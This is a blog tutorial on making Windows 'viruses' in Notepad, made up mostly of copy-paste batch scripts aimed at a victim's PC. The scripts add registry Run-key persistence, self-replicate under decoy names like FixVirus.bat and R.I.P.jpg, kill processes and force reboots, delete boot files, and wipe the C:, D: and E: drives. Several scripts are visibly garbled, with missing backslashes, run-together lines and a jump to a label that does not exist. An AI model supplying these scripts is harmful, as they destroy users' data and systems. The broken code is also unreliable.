how to make a virus

How To Make A Virus Using Notepad in 30 Seconds

How to make a virus: – Rather than just typing and taking notes, notepad can be used to perform various useful tasks. You can even use it to write and create your own virus. Yes, in this post we will learn how to make a virus using notepad.

Using some scripting languages like batch, visual basic and more we can create lot more dangerous virus for pc which can perform dangerous tasks like deleting files, formatting drives, stealing data files etc. In this post, you will learn how to create virus using notepad.

First of all, what is a virus? Basically, A virus is a short piece of code that can perform malicious operation on compromised pc like replicating its copies, deleting files, stealing sensitive information(passwords, emails, card details etc.), using compromised pc for hacking etc.

Learn What is Schema? Types of Schema in Database

Batch and visual basic are scripting languages that can be used to write codes and give instructions to computer. There code executes line by line. Yes, you can use also use other programming languages for writing viruses.

So, without delay in time, let’s start.

Warning: – Some of these scripts are extremely dangerous and you need to be caution while using them. I recommend you to try these viruses in virtual OS or any dummy pc otherwise you will harm yourself. I will not be responsible for any damage you cause using these viruses. These are for educational purpose only.

Learn To Hack Android Phone Remotely Using RAT

Open Notepad and copy-paste these codes to try them one by one.

See also  Which Crypto Can Make You a Millionaire?

how to make a virus

How To Make A Virus

Disable Internet Permanently

Step 1 – Open notepad, copy this code and paste it in notepad.

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo


echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been Hack3d By MrStark


Step 2- Now click File -> Save As. Enter any name of file and add .bat in the end of name as file extension. In other words, you need to save this file as .bat file.

Port Forward Without Router

Dangerous One

This one is dangerous. It will make its copies on startup on random locations in victim’s computer and give various pop ups.

Step 1 – Open Notepad, Copy below code and paste it in notepad.

@Echo off

color 4

title 4

title R.I.P




start calc

copy %0 %Systemroot%\Greatgame > nul

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ

/d %systemroot%\Greatgame.bat /f > nul

copy %0 *.bat > nul

Attrib +r +h Greatgame.bat

Attrib +r +h

RUNDLL32 USER32.DLL.SwapMouseButton

start calc


tskill msnmsgr

tskill LimeWire

tskill iexplore

tskill NMain



cd %userprofile%\desktop

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat

copy Greatgame.bat FixVirus.bat

cd %userprofile%My Documents

copy Greatgame.bat R.I.P.bat

copy Greatgame.bat R.I.P.jpg

copy Greatgame.bat R.I.P.txt

copy Greatgame.bat R.I.P.exe

copy Greatgame.bat

copy Greatgame.bat FixVirus.bat


start calc


msg * R.I.P

msg * R.I.P

shutdown -r -t 10 -c “Windows Detected a VIRUS.”



time 12:00


cd %usernameprofile%\desktop

copy Greatgame.bat %random%.bat

See also  AMA Crypto

goto RIP

Step 2:- Now save this file as virus.bat. Remember again you need to save this file as .bat file with any name you want.

Call of Duty Zombies Apk Download

How To Create A Virus

Loop Of Notepad

This script will open endless windows of notepad.

Step 1 :-  Open notepad and copy-paste below code.

@ECHO off


START %SystemRoot%\system32\notepad.exe


Step 2: – Now save this file as, notepad.bat.

Crash PC Forever

This virus will crash the pc of your victim.

 Warning:- Be more careful while using it otherwise you will end up crashing your own pc.

Step 1:- Copy-Paste below code in notepad.

@echo off

attrib -r -s -h c:\autoexec.bat

del c:\autoexec.bat

attrib -r -s -h c:\boot.ini

del c:\boot.ini

attrib -r -s -h c:\ntldr

del c:\ntldr

attrib -r -s -h c:\windows\win.ini

del c:\windows\win.ini

Step 2:- Save this file as crash.bat.

List of Best Wi-Fi Hacking Apps

Delete CDE

This 3 line coded virus can delete C: , D:  and E: disk drives.

Step 1- Copy-paste this code in notepad file.

rd/s/q D:\

rd/s/q C:\

rd/s/q E:\

Step 2:- Save this virus as delete.bat.

Proton VPN For Android Review

Have you got? how to make a virus. These were some of best scripts. I will update this post with more scripts and virus information. So keep visiting our site.

Read More – Create A Virus

Sharing is caring. Share if you like it.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top